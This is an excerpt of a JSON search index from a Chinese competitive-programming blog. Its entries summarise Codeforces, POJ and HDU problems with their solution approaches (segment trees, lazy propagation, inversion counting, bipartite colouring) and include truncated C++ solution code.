lazy[rt\u003c\u003c1]=lazy[rt\u003c\u003c1|1]=lazy[rt]; 44 lazy[rt] = 0; 45} 46void update(int L,int R,int sc,int l,int r,int rt) 47{ 48 if (L\u003c=l\u0026\u0026r\u003c=R) 49 { 50 lazy[rt] = sc; 51 return; 52 } 53 PushDown(rt); 54 int m = (l+r)\u003e\u003e1; 55 if (L\u003c=m) update(L,R,sc,lson); 56 if (R\u003e=m+1) update(L,R,sc,rson); 57 58} 59int query(int p,int l,int r,int rt) 60{ 61 if (l==r) return lazy[rt]; 62 PushDown(rt); 63 int m = (l+r)\u003e\u003e1; 64 if (p\u003c=m) query(p,lson); 65 else query(p,rson); 66} 67 68int main() 69{ 70 #ifndef ONLINE_JUDGE 71 freopen(\"code/in.txt\",\"r\",stdin); 72 #endif 73 ios::sync_with_stdio","date":"2016-09-06","externalUrl":null,"permalink":"/2016/09/cf356a/","section":"Posts","summary":"题目链接 题意：现在有N个骑士进行M轮PK…现在告诉这M轮是谁站在台上…其将l~r所存在的骑士都打败..而若一个骑士被打败..就出局了..也就是不存在了…请输出每个骑士是被哪个骑士打败的(最后的胜利者输出0)…保证有解..","tags":["lazy标记","线段树"],"title":"codeforces 356 A. Knight Tournament (线段树lazy标记，倒序处理)","type":"post"},{"categories":["ACM"],"content":"x题目链接 题意：给出两个数组，每个数组n个数，分别为a和b,给出m个操作，操作有两种类型，第一种是给出x,y,k,表示从a数组的x坐标开始复制k个数到b数组的y到y+k-1。 第二种操作是给出x，询问当前b[x]是多少。 对于每个第二种操作，输出结果。 思路：第一次写lazy标记的线段树。 今天突然就顿悟了。。。其实lazy标记的思想大概就是。。 对于某段区间的更新，如果没有查询到这段区间中任何一个数的时候。。。那么这个更新其实是无所谓的。。。 （让我想到了那个脑洞，就是整个世界都是一段程序，为了让你不察觉异常并且耗费尽量少的资源，所有场景只有在有人观测的时候才会被加载，不观测就用很少的资源随便处理一下233） 所以lazy标记，也叫延迟标记，就是只有当查询到某个节点的时候，才去把之前的修改更新，不然不更新（就好像有人观测的时候，上帝才把某个场景的代码写出来） 这道题除了延迟标记这个点外，还用到了染色问题的经典做法。 所谓染色问题，这里说的是一种区间覆盖问题，每次用一个颜色覆盖某段区间，最后询问某一点是什么颜色（大概是这样…? 回到这道题，具体做法是，记录每次覆盖操作的位移差，然后用线段树维护某个点最后被覆盖的时间（也可以形象得说被染成了什么颜色，染的颜色种类和时间对应） 这样，每次询问b[x]的时候，我们可以查询x位置最后是被染成了什么颜色，然后根据之前记录的位移差信息，就可以得到相应的答案。 这是一种经典做法，这类问题具有一定普遍性，注意体会。 以及，之前对lazy标记有一个错误得认识，以为lazy是基于线段树本身数组的一个辅助数组。。。但是做完这道题后感觉。。。 之前写的单点更新的线段树数组tree和现在的lazy标记的数组应该是同等地位。。。。PushDown和PushUp大概也是同等地位。。。就是说。。。可以只出现PushDown和lazy数组不出现PushUp和tree. 还有一些写法上的注意，见代码注释。 1/* *********************************************** 2Author :111qqz 3Created Time :Tue 06 Sep 2016 08:41:03 PM CST 4File Name :code/cf/problem/292E.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32int lazy[N\u003c\u003c2];//lazy[i]记录的信息是以i节点为根节点的子树所表示的区间被覆盖的时间。 33int n,m; 34int q[N]; //记录覆盖信息，q[i]表示第i个覆盖的位移差。 35int a[N],b[N]; 36void PushDown( int rt) 37{ 38 if (l","date":"2016-09-06","externalUrl":null,"permalink":"/2016/09/cf292e/","section":"Posts","summary":"x题目链接 题意：给出两个数组，每个数组n个数，分别为a和b,给出m个操作，操作有两种类型，第一种是给出x,y,k,表示从a数组的x坐标开始复制k个数到b数组的y到y+k-1。","tags":["lazy标记","染色问题","线段树"],"title":"codeforces 292 E. Copying Data (染色问题，线段树lazy标记模板题)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n个数，m个查询，每组查询一个区间[l,r]，问[l,r]中会被吃掉多少个（区间[l,r]中的数只有当其是其他所有数的因数时才不会被吃掉,顺便问一句。。a divide b 是 a除b,也就是b除以a,b/a的意思嘛23333） 思路：我们知道，不会被吃掉的数其实就是区间[l,r]中所有数的gcd,求gcd可以很容易用线段树办到。。。关键是还要统计该区间中等于gcd的数有多少个。 并不会做。 大概有两种做法。。。？ 一种是基哥@clq11111说的，将询问离线，然后从小到大排序插入，询问区间中等于x转化成询问区间中小于等于x的，和询问区间中小于等于x-1的，做差即为所求。 第二种办法是题解的讨论区部分的： 想了一下感觉很有道理。。。 这种做法是说：建一个val和该val对应下标的pair，然后排序（pair默认按照val第一关键字，pair第二关键字升序排） 排序之后，val相同的都在一起了，我们只需要找一段最大的区间，使得这段区间中的第二关键字在[l,r]范围内，然后这段区间的长度就是[l,r]区间中该数出现的次数. 找这段最大的区间，两次二分就好。说起来二分得到区间这个做法之前写过两次。。。之前都是手写的。。。这次用了STL。 具体写法参见代码 1A开心哈哈哈。 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 05 Sep 2016 08:37:57 PM CST 4File Name :code/cf/problem/474F.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32int n; 33pi a[N]; 34int tree[N\u003c\u003c2]; 35int gcd( int a,int b) 36{ 37 if (a%b==0) return b; 38 return gcd(b,a%b); 39} 40void PushUp( int rt) 41{ 42 tree[rt] = gcd(tree[rt\u003c\u003c1],tree[rt\u003c\u003c1|1]); 43} 44void build(int l,int r,int rt) 45{ 46 if (l==r) 47 { 48 tree[rt] = a[l].fst; 49 return; 50 } 51 int m = (l+r)\u003e\u003e1; 52 build(lson); 53 build(rson); 54 PushUp(rt); 55} 56int query(int L,int R,int l,int r,int rt) 57{ 58 if (L\u003c=l\u0026\u0026r\u003c=R) retur","date":"2016-09-05","externalUrl":null,"permalink":"/2016/09/cf474f/","section":"Posts","summary":"题目链接 题意：给出n个数，m个查询，每组查询一个区间[l,r]，问[l,r]中会被吃掉多少个（区间[l,r]中的数只有当其是其他所有数的因数时才不会被吃掉,顺便问一句。。a divide b 是 a除b,也就是b除以a,b/a的意思嘛23333）","tags":["gcd","number theory","区间计数","线段树"],"title":"codeforces 474 F. Ant colony (线段树求gcd+统计区间中某数出现的次数的经典做法)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n个数，求满足 i\u003cj\u003ck且a[i]\u003ea[j]\u003ea[k]的三元组有多少个。 思路：对于这种要求三个数满足条件的题目，老司机的经验是考虑中间那个数，这道题也不例外。 我们枚举j，通过求两次逆序对求出对于每个a[j]，满足a[i]\u003ea[j]的i的个数，以及满足a[j]\u003ea[k]的个数。 两个个数的乘积就是j作为中间数满足的三元组的个数，这样把所有的j累加就是答案。 其他的就是，要离散化，以及最后答案可能会爆long long? 1A，好爽啊哈哈哈。 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 05 Sep 2016 03:40:20 PM CST 4File Name :code/cf/problem/61E.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E6+7; 32int a[N]; 33int A[N]; 34int H[N]; 35int n; 36int m; 37int tree1[N\u003c\u003c2],tree2[N\u003c\u003c2]; 38pair\u003cLL,LL\u003eans[N]; 39void PushUp(int rt,int *tree) 40{ 41 tree[rt] = tree[rt\u003c\u003c1] + tree[rt\u003c\u003c1|1]; 42} 43void update(int p,int l,int r,int rt,int *tree) 44{ 45 if (l==r) 46 { 47 tree[rt]++; 48 return; 49 } 50 int m = (l+r)\u003e\u003e1; 51 if (p\u003c=m) update(p,lson,tree); 52 else update(p,rson,tree); 53 PushUp(rt,tree); 54} 55int query(int L,int R,int l,int r,int rt,int *tree) 56{ 57// cout\u003c\u003c\"L:\"\u003c\u003cL\u003c\u003c\" R:\"\u003c\u003cR\u003c\u003c\" l:\"\u003c\u003cl\u003c\u003c\" r:\"\u003c\u003cr\u003c\u003c\" rt:\"\u003c\u003crt\u003c\u003cendl; 58 if (L\u003eR) return 0; 59 if (L\u003c=l\u0026\u0026r\u003c=R) return tree[rt]; 60 int m = (l+r)\u003e\u003e1; 61 int ret = 0 ; 62 if (L\u003c=m) 63 { 64 int res = query(L,R,lson,tree); 65 ret+=res; 66 } 67 if (R\u003e=m+1) 68 { 69 int res = query(L,R,rson,tree); 70 ","date":"2016-09-05","externalUrl":null,"permalink":"/2016/09/cf61e/","section":"Posts","summary":"题目链接 题意：给出n个数，求满足 i\u003cj\u003ck且a[i]\u003ea[j]\u003ea[k]的三元组有多少个。","tags":["离散化","线段树","逆序对"],"title":"codeforces 61 E. Enemy is weak (离散化+线段树求逆序三元组)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：定义_f_(l, r, x)为区间[l,r]中x出现的次数。现在要求calculate the number of pairs of indicies i, j (1 ≤ i \u003c j ≤ n) such that_f_(1, i, a__i) \u003e f(j, n, a__j). 思路：可以通过o(n)预处理出f(1,i,a[i])和f[j,n,a[j]]，其实预处理的过程就是离散化的过程呢。。。 分别得到 1 1 2 3 2 3 4 4 3 3 2 2 1 1 所以答案其实就是第一组数在第二组数中找逆序数的过程。。。 我们不妨倒序处理。 需要注意的是，线段树维护的区间是0..mx，我整体增加了1. 线段树求逆序对和树状数组求逆序对是同样的思想。。。注意体会。。 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 05 Sep 2016 02:06:05 PM CST 4File Name :code/cf/problem/459D.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E6+7; 32map\u003cint,int\u003emp; 33int n ; 34int a[N],b[N]; 35int tmp[N]; 36int tree[N\u003c\u003c2];//tree[i]表示的是以i节点为根节点的子树所代表的区间中数的个数。 37void PushUp( int rt) 38{ 39 tree[rt] = tree[rt\u003c\u003c1] + tree[rt\u003c\u003c1|1]; 40} 41void update(int p,int l,int r,int rt) 42{ 43 if (l==r) 44 { 45 tree[rt]++; 46 return; 47 } 48 int m = (l+r)\u003e\u003e1; 49 if (p\u003c=m) update(p,lson); 50 else update(p,rson); 51 PushUp(rt); 52} 53int query(int L,int R,int l,int r,int rt) 54{ 55 if (L\u003c=l\u0026\u0026r\u003c=R) return tree[rt]; 56 int m = (l+r)\u003e\u003e1; 57 int ret = 0; 58 if (L\u003c=m) 59 { 60 int res = query(L,R,lson); 61 ret +=res; 62 } 63 if (R\u003e=m+1) 64 { 65 int res = query(L,R,rson); 66 ret +=res; 67 } 68 return ret","date":"2016-09-05","externalUrl":null,"permalink":"/2016/09/cf459d/","section":"Posts","summary":"题目链接 题意：定义_f_(l, r, x)为区间[l,r]中x出现的次数。现在要求calculate the number of pairs of indicies i, j (1 ≤ i \u003c j ≤ n) such that_f_(1, i, a__i) \u003e f(j, n, a__j).","tags":["线段树","逆序对"],"title":"codeforces 459 D. Pashmak and Parmida's problem (离散化+线段树求逆序对数)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n和m,初始给出1«n个数，先相邻的两个数进行或操作（a[1]^a[2],a[3]^a[4]…），得到的新数列再相邻的两个数进行异或操作。 最后得到一个数，即为答案。现在给出m个操作，每个操作两个数p,b，表示令a[p]=b,每次变化后输出最终的结果。 思路：线段树。这道题让我学到了，线段树的数组tree[i]存储的信息可能不唯一，可以不同层存储的是不同的信息。 比如这道题中，距离叶子节点距离为奇数的点存储的是或操作的结果，距离叶子节点距离为偶数的点存储的是异或操作的结果。 还需要注意的是，build和update操作都是从顶向下，最后一个操作是异或还是或取决于n的奇偶性，记得判断。 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 05 Sep 2016 12:56:34 AM CST 4File Name :code/cf/problem/339D.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1\u003c\u003c18; 32int tree[N\u003c\u003c2]; 33int n,m; 34void PushUp(int rt,int state) 35{ 36 if (state==-1) 37 tree[rt] = tree[rt\u003c\u003c1]|tree[rt\u003c\u003c1|1]; 38 else tree[rt] = tree[rt\u003c\u003c1]^tree[rt\u003c\u003c1|1]; 39} 40void build(int l,int r,int rt,int state) 41{ 42 if (l==r) 43 { 44 scanf(\"%d\",\u0026tree[rt]); 45 return ; 46 } 47 int m = (l+r)\u003e\u003e1; 48 build(lson,-state); 49 build(rson,-state); 50 PushUp(rt,state); 51} 52void update( int p,int sc,int l,int r,int rt,int state) 53{ 54 if (l==r) 55 { 56 tree[rt] = sc; 57 return; 58 } 59 int m = (l+r)\u003e\u003e1; 60 if (p\u003c=m) update(p,sc,lson,-state); 61 else update(p,sc,rson,-state); 62 PushUp(rt,state); 63} 64int main() 65{ 66 #ifndef ONLINE_JUDGE 67 freopen(\"code/in.txt\",\"r\",st","date":"2016-09-04","externalUrl":null,"permalink":"/2016/09/cf339d/","section":"Posts","summary":"题目链接 题意：给出n和m,初始给出1«n个数，先相邻的两个数进行或操作（a[1]^a[2],a[3]^a[4]…），得到的新数列再相邻的两个数进行异或操作。","tags":["线段树"],"title":"codeforces 339 D. Xenia and Bit Operations(线段树)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： 在二维坐标平面内进行_n_ (1 ≤ n ≤ 2·105) 次操作。一共有三种类型操作。 1.add x,y 将点(x,y)加进坐标系。 2.remove x,y 将点(x,y)移除. 3.find x,y 找到点(x,y)右上角的点(xp\u003ex,yp\u003ey)。如果有多个输出x最小的。还是有多个输出y最小的。 x,y均为非负数。以上操作均合法。 思路：没有思路。。。不会啊。。。以为要二维线段树什么的。。。。总之是不会做。。。 大概从中午开始看题解。。。8个小时。。。。终于完全搞懂了orz 很巧妙得把二维问题转化成了一维问题。。。 我来说一下大概做法，具体的细节见代码注释： 在x轴方向维护一课线段树，线段树的数组tree[i]存储的信息是以i节点为根节点的子树所对应的区间能达到的最大的y值。线段树的叶子节点上是一个set，set[i]是横坐标为i时的纵坐标集合，也就是所谓的树套树。 由于 x 很大，但是 n 比较小，所以这里采用 STL 去重的办法离散化。原来链接的《离散化的三种办法》一文在历史迁移中被误删，且 Git 中仅存的版本已经截断，暂不重新发布损坏正文。 对于添加和删除点的操作，我们更新完对应的set把相应的x（离散化后的）在线段树中更新就好（因为线段树的update操作是和set有关的） 对于find操作，我们首先从线段树中找到（下标大于x且最小且集合中存在大于y的元素的集合）的下标 这样我们确定了x，再upper_bound一下找到对应的集合中最小的y. 初始化由于没有插入y,所以tree可以初始化为-1，不用建树。。。（反正建了也都是-1） 1/* *********************************************** 2Author :111qqz 3Created Time :Sun 04 Sep 2016 07:19:05 PM CST 4File Name :code/cf/problem/19D.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=2E5+7; 32int n,m; 33int tree[N\u003c\u003c2]; //记录线段树的信息，tree[i]表示的是以i节点为根节点的子树所代表的区间中的点的最大的y值。 34set\u003cint\u003ese[N];//集合se[i]是横坐标为x的点的纵坐标的集合。 35struct node //线段树套平衡树，在x轴的方向上建一棵线段树，线段树的每个叶子节点是一个set。 36{ 37 int x,y; 38 char cmd[15]; 39 void input() 40 { 41 scanf(\"%s%d%d\",cmd,\u0026x,\u0026y); 42 } 43}q[N]; 44int H[N]; 45v","date":"2016-09-04","externalUrl":null,"permalink":"/2016/09/cf19d/","section":"Posts","summary":"题目链接 题意： 在二维坐标平面内进行_n_ (1 ≤ n ≤ 2·105) 次操作。一共有三种类型操作。","tags":["set","树套树","离散化","线段树"],"title":"codeforces  19 D. Points (离散化+树套树（线段树+set）)","type":"post"},{"categories":["ACM"],"content":"poj 2828 题目链接 题意：n个人，每个人有一个rp值（用来区分不同的人），还有一个pos[i]，表示当第i个人来排队的时候插入到第pos[i]个人的后面（也就是排在位置pos[i]+1) 现在问最后的序列，从1到n输出n个人的rp值 思路：第二道线段树，并不会做，看了题解。 比较关键的一点是：按照顺序的话，当后来的一个人插入到前面，那么之前很多人排好的位置将发生改变，这个代价是巨大的。 由于越后来的人越容易确定位置，因此正确的做法是倒序处理。 对于第i个人，我们把他放在从前往后数的第i个空的位置即可。 接下来需要做的就是线段树处理，线段树存储的信息是某一个区间中空位置的个数。 感觉是一道很好的题目，对于新手来说并不是很容易，不过理解了这道题目以后，感觉进一步理解线段树，有点开心。 1/************************************************************************* 2 \u003e File Name: code/poj/2828.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年10月29日 星期四 09时00分08秒 6 ************************************************************************/ 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#include\u003ccctype\u003e 20#define yn hez111qqz 21#define j1 cute111qqz 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25using namespace std; 26const int dx4[4]={1,0,0,-1}; 27const int dy4[4]={0,-1,1,0}; 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N=2E5+7; 32int pos[N],val[N]; 33int n; 34int tree[N\u003c\u003c2]; //tree[i]存储的是以i为根节点的子树对应的区间中空位置的数量。 35int ans[N]; 36void PushUp(int rt) 37{ 38 tree[rt] = tree[rt\u003c\u003c1]+tree[rt\u003c\u003c1|1]; //一段区间空位置的数量等于两端子区间中空位置的数量的和。 39} 40void build(int l,int r,int rt) 41{ 42 if (l==r) 43 { 44 tree[rt] = 1; //初始的空位置的数量为区间长度r-l+1 45 return ; 46 } 47 int m = (l+r)\u003e\u003e1; 48 build(lson); 49 build(rson); 50 PushUp(rt); 51} 52void update (int p,int val,int l,int r,int rt) 53{ 54 if (l==r) //终于找到了该点的归属。。。 55 { 56 ans[l] = val; 57 tree[rt]--; 58 return ; 59 } 60 int m = (l+r)\u003e\u003e1; 61 if (p\u003c=tree[rt\u003c\u003c1]) update(p,val,lson); //如果左子树所代表的区间中空位置的数目够的话就放左边 62","date":"2016-09-03","externalUrl":null,"permalink":"/2016/09/poj-2828/","section":"Posts","summary":"poj 2828 题目链接 题意：n个人，每个人有一个rp值（用来区分不同的人），还有一个pos[i]，表示当第i个人来排队的时候插入到第pos[i]个人的后面（也就是排在位置pos[i]+1)","tags":["线段树"],"title":"poj 2828 Buy Tickets (线段树单点更新，逆序插入)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：找两个不相交点集使得对于每一条边至少有一个顶点在点集中 思路：判断能否构成二分图。染色即可。 需要注意的是。。。答案有特判。。和样例不一样我还以为是自己做错了2333. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年09月03日 星期六 01时04分40秒 4File Name :code/hdu/687A.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cdeque\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cbitset\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N=1E5+7; 33const int M=2E5+7; 34int n,m; 35struct Edge 36{ 37 int v; 38 int nxt; 39}edge[M]; 40int cnt = 0 ; 41int head[N]; 42int col[N]; 43void addedge( int u,int v) 44{ 45 edge[cnt].v = v; 46 edge[cnt].nxt = head[u]; 47 head[u] = cnt; 48 cnt++; 49} 50bool dfs( int u,int x,int fa) 51{ 52 col[u] = x; 53 for ( int i = head[u] ; i!=-1 ; i = edge[i].nxt) 54 { 55 int v = edge[i].v; 56 if (v==fa) continue; 57 if (col[v]==1-x) continue; 58 if (col[v]==x) return false; 59 if (!dfs(v,1-x,u)) return false; 60 } 61 return true; 62} 63bool solve() 64{ 65 for ( int i = 1 ; i \u003c= n ; i++) if (col[i]==-1) if (!dfs(i,0,-1)) return false; 66 return true; 67} 68int main() 69{ 70 #ifndef ONLINE_JUDGE 71 freopen(\"code/in.txt\",\"r\",stdin); 72 #endif 73 cin\u003e\u003en\u003e\u003em; 74 ms(col,-1); 75 ms(head,-1); 76 for ( int i = 1 ; i \u003c= m ; i++) 77 { 78 int u,v; 79 cin\u003e\u003eu\u003e\u003ev; 80 addedge(u,v); 81 addedge(v,u); 82 } 83 if ","date":"2016-09-02","externalUrl":null,"permalink":"/2016/09/cf687a/","section":"Posts","summary":"题目链接 题意：找两个不相交点集使得对于每一条边至少有一个顶点在点集中","tags":["二分图","交叉染色法"],"title":"codeforces 687 A. NP-Hard Problem(交叉染色法)","type":"post"},{"categories":["ACM"],"content":"题目链接：题目链接 题意：给出一个无向图，该图是通过仅包含‘a’ ‘b’ ‘c’三个字母，以规则“i,j之间有边，当且仅当s[i]和s[j]相同，或者s[i]和s[j]在字母表中相邻”（也就是只有’a’和’c’是没有边相连的）得到的，现在问能否还原这个字符串，如果能，输出任意一个解。 思路：其实就是简单构造。。。 构造的一个技巧是。。把能确定的地方先确定了。。。。 我们发现’b’比较特殊。。因为b和任意点都相连。。。 于是可以统计一下度。。。然后确定字符串中的b 然后对于某个没有确定的位置，我放置一个a,并且把所有和这个位置相连的都放成a 字符串中剩下的没有确定的位置就一定是c了。 这个时候我再判断是否满足题中图的条件。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年09月02日 星期五 15时56分14秒 4File Name :code/cf/problem/623A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=505; 34int n,m; 35bool conc[N][N]; 36int degree[N]; 37char ans[N]; 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 ms(degree,0); 44 ms(conc,false); 45 ms(ans,0); 46 cin\u003e\u003en\u003e\u003em; 47 for ( int i = 1 ; i \u003c= m ; i++) 48 { 49 int u,v; 50 cin\u003e\u003eu\u003e\u003ev; 51 u--; 52 v--; 53 conc[u][v] = conc[v][u] = true; 54 degree[u]++; 55 degree[v]++; 56 } 57 58 for ( int i = 0 ; i \u003c n ; i++) if (degree[i]==n-1) ans[i]='b'; // 字符串第一位为空的话。。。会输出空串。。。 59 for ( int i = 0 ; i \u003c n ; i++) 60 { 61 if (!ans[i]) 62 { 63 ans[i] = 'a'; 64 for ( int j = 0 ; j \u003c n ;j++) 65 if (conc[i][j]\u0026\u0026!ans[j]) ans[j]='a'; 66 break; 67 } 68 69 } 70 for ( int i = 0 ; i \u003c n ; i++) if ","date":"2016-09-02","externalUrl":null,"permalink":"/2016/09/cf623a/","section":"Posts","summary":"题目链接：题目链接 题意：给出一个无向图，该图是通过仅包含‘a’ ‘b’ ‘c’三个字母，以规则“i,j之间有边，当且仅当s[i]和s[j]相同，或者s[i]和s[j]在字母表中相邻”（也就是只有’a’和’c’是没有边相连的）得到的，现在问能否还原这个字符串，如果能，输出任意一个解。","tags":["构造"],"title":"codeforces  623 A. Graph and String (构造)","type":"post"},{"categories":["ACM"],"content":"题目链接：hdu 5285 题目lianjie 题意：给定n个小朋友，以及小朋友之间的关系，要求将小朋友分成两组，**并且每组至少一个人，**现在问能否这样分组，如果有解，输出两组的人数，并保证第一组的人数尽可能地大。 思路：。。。一开始看到n的数据范围。。。想当然的以为会给认识的人的关系。。。尼玛。。。求个补图就够受的了。。。。不会做，卒。 结果发现。。竟然给的是两个人不认识的关系。。。2333 那么我们来交叉染色。。。 实际上交叉染色的过程中，颜色相同的点属于二分图中相同的点集合。 交叉染色其实是在模拟交错轨的过程…？ 由于图不一定联通，可能由多个联通块。 我们在交叉染色的时候记录一下0,1的个数（也就是两个点集的大小） 然后每次把大的累加（因为没说不认识的就是默认认识了。。。） 无解的情况有：任何一个联通快无解或者n\u003c=1 此外还需要注意，m可能为0. 特判一下，m为0或者为1，直接输出n-1和1. 以及！ n\u003c=1的无解是在特判m之前的。。。。我好傻啊。 n\u003c=1的无解是在特判m之前的。。。。我好傻啊。 n\u003c=1的无解是在特判m之前的。。。。我好傻啊。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年09月02日 星期五 14时41分35秒 4File Name :code/hdu/5285.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include 